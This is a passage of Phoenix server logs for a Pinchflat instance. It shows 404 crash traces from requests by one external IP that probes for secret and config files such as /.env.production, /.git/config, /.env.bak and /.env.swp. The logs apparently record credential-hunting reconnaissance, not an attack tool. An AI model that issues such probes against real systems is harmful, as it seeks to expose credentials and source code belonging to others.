(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw6jSUsUes1UADZmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", (truncated) 04:52:47.600 [info] GET /.git/config 04:52:47.602 [debug] QUERY OK source="settings" db=0.4ms idle=878.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.602 [debug] QUERY OK source="settings" db=0.3ms idle=67.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.603 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:47.603 [error] #PID<0.138965.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138965.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxGD8lNui7EgAAHjD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5 (truncated) 04:52:47.701 [info] GET /.env.swp 04:52:47.702 [info] GET /.env.bak 04:52:47.702 [debug] QUERY OK source="settings" db=0.2ms idle=167.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.702 [debug] QUERY OK source="settings" db=0.2ms idle=167.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.702 [debug] QUERY OK source="settings" db=0.2ms idle=167.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.702 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:47.703 [debug] QUERY OK source="settings" db=0.7ms idle=101.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.703 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:47.704 [error] #PID<0.138967.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138967.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxGcJTrdS1aIAAHkD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, (truncated) 04:52:47.703 [error] #PID<0.138966.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.swp ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138966.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.swp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxGcEwP3C3hwAAHjj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, (truncated) 04:52:47.728 [info] GET /.DS_Store 04:52:47.729 [debug] QUERY OK source="settings" db=0.2ms idle=26.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.729 [debug] QUERY OK source="settings" db=0.1ms idle=26.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:47.729 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:47.730 [error] #PID<0.138968.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.DS_Store ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.DS_Store", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", 